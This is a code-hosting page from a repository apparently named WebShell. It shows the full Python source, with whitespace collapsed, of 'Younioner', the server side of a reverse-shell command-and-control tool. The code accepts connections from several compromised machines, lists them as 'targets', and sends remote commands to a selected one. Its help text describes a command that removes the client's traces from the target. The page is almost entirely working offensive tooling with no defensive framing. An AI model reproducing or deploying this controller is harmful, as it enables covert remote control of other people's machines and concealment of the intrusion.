同步操作将从 Handsome/WebShell 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
from socket import *import timeimport threadingimport sysimport osfrom queue import Queuequeue = Queue()host = '192.168.1.88' # your computer ipport = 4343class Server:def __init__(self, _host, _port=3434, _max_client=20):# Variables used in this class are hereself.host = _hostself.port = _portself.max_client = _max_client # max amount of expected connections# once any client connectedself.all_connection = [] # the connections will be stored here.self.all_addresses = [] # the addresses will be stored here.# create socketdef open_socket(self):try:self.s = socket(AF_INET, SOCK_STREAM)self.s.bind((self.host, self.port))logo = "__ __ _ ____ \n" \"\ \ / /__ _ _ _ __ (_) ___ _ __ ___| _ \ \n" \" \ V / _ \| | | | '_ \| |/ _ \| '_ \ / _ \ |_) | \n" \" | | (_) | |_| | | | | | (_) | | | | __/ _ < \n" \" |_|\___/ \__,_|_| |_|_|\___/|_| |_|\___|_| \_\ \n"print("\n\tWelcome to Younioner V1.1")print(logo)print('Created by Ayoub Ouakkaha, please visit our website www.ouakkaha.com')print('\ncontact us at contact@ouakkaha.com, type help to display available commands.')# listen for one connection :)self.s.listen(self.max_client)except error as e:print("** Oops Something went wrong error code ", e)time.sleep(5) # wait for 5s and try againself.open_socket()# accept incoming connectiondef accept_connection(self):for c in self.all_connection: # close the connection listc.close()del self.all_connection[:] # clean connection listdel self.all_addresses[:] # clean addresses listwhile True:try:conn, address = self.s.accept()conn.setblocking(1)self.all_connection.append(conn)self.all_addresses.append(address)print("\n* new Connection has been established from {} on {}".format(address[0], address[1]))print("\nYounioner> ", end="")except error as e:print("something went wrong while accepting new connection\n error code: {} \n".format(str(e)))# Interactive shell for sending command remotelydef start_younioner(self):while True:cmd = str(input("Younioner> "))cmd = cmd.lower()cmd_stripped = cmd.strip()if cmd.strip() == 'list':self.list_connections()continueelif cmd.strip() == "help":self.displayHelp()elif cmd_stripped.startswith("select"): # check command start with `select` wordconn = self.get_target(cmd)if conn is not None:self.send_commands(conn)elif cmd_stripped == "quit":self.exit()else:print("{} Command not recognized..".format(cmd))# Display the help menudef displayHelp(self):"""Display The help menu"""help = "\nthis section will help to understand the basic commands: " \"\n\nlist............ It will list availabel connection..Usage(just type : `list`)"\"\n\nselect.......... used to select a connection to target.. the target number needs be availabel on list section Usage(select 1) or change the number 1 to the target ID"\"\n\nquit............ used to close the current connection .. or if you don't have one it will close the script"\"\n\nhelp............ as you might guess, it will print the help Menu, which you're looking to now.:)"\"\n\nend-of-session.. this is really advance command..this command will delet your trace from the target command, for example it will delet the current running script on the target command which is(Client) "\"\n\nIf you liked Our app and you want to help us for providing more and more.. please contact us at contact@ouakkaha.com or visit my site www.ouakkaha.com\nanyway thanks for using my app, be sure to have a greate day :)"print(help)# Exit Reverse Shelldef exit(self):for c in self.all_connection:try:c.send(str.encode("end-of-session"))c.shutdown(2)c.close()except Exception as e:print('Could not close connection ' + str(e))self.s.close()print("\n Good By, please have a nice day :) ")# this will be over need but believe me, some times the module refuse to exit..# this is why i try each of this method cause at the end one of theme should work..os._exit(0)sys.exit()quit(0)exit(0)# this will display all current connectiondef list_connections(self):rs = ''for i, conn in enumerate(self.all_connection): # Enumerate will count number of looptry: # we will test if conn are working..conn.send(str.encode(' ')) # send blank to test if conn is working.,conn.recv(20240)except: # this will ocure if conn is nulldel self.all_connection[i]del self.all_addresses[i]continue # go to next loop do not execut the next line..rs += str(i) + '\t' + str(self.all_addresses[i][0]) + '\t' + str(self.all_addresses[i][1]) + '\n'print("Currently Available Targets")print("ID\tIP\t\t\t\tPORT\n" + rs)# Select a target clientdef get_target(self, cmd):target = cmd.replace('select ', '')try:target = int(target)except:print("Target index should be integer.")return Nonetry:conn = self.all_connection[target]except:print("Not Invalid Selection..")return Noneprint("You are now connected to", self.all_addresses[target][0])print("Younioner.{} >> ".format(self.all_addresses[target][0]), end="")return conn# Connect with the targetdef send_commands(self, conn):while True:try:cmd = str(input())if len(cmd) > 0:conn.send(str.encode(cmd))client_response = str(conn.recv(20480), "utf-8")print(client_response, end="")# confirm quitif cmd == "quit":print("\nAre you sure, the socket will be closed for this moment..")confirm = str.upper(input("\t N / y >> "))if confirm == "Y":breakexcept:print("[!] Connection was lost ")break# Setting up threadsdef setup_threads():server = Server('', port)for _ in range(2):t = threading.Thread(target=work, args=(server,))t.daemon = True # It means when the script got closed the thread also will exit from processt.start()return# Do the next job in the queue(1: handles connection, other sends commands and get response back)def work(server):while True:x = queue.get()if x == 0: # 0: handles connectionserver.open_socket()server.accept_connection()if x == 1: # 1: sends commands to target machineserver.start_younioner()queue.task_done() # [Done] jobs are done with successreturn# Each list item is a new jobdef create_jobs():for x in range(2):queue.put(x)queue.join()return# the main functiondef main():setup_threads()create_jobs()if __name__ == '__main__':main()
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。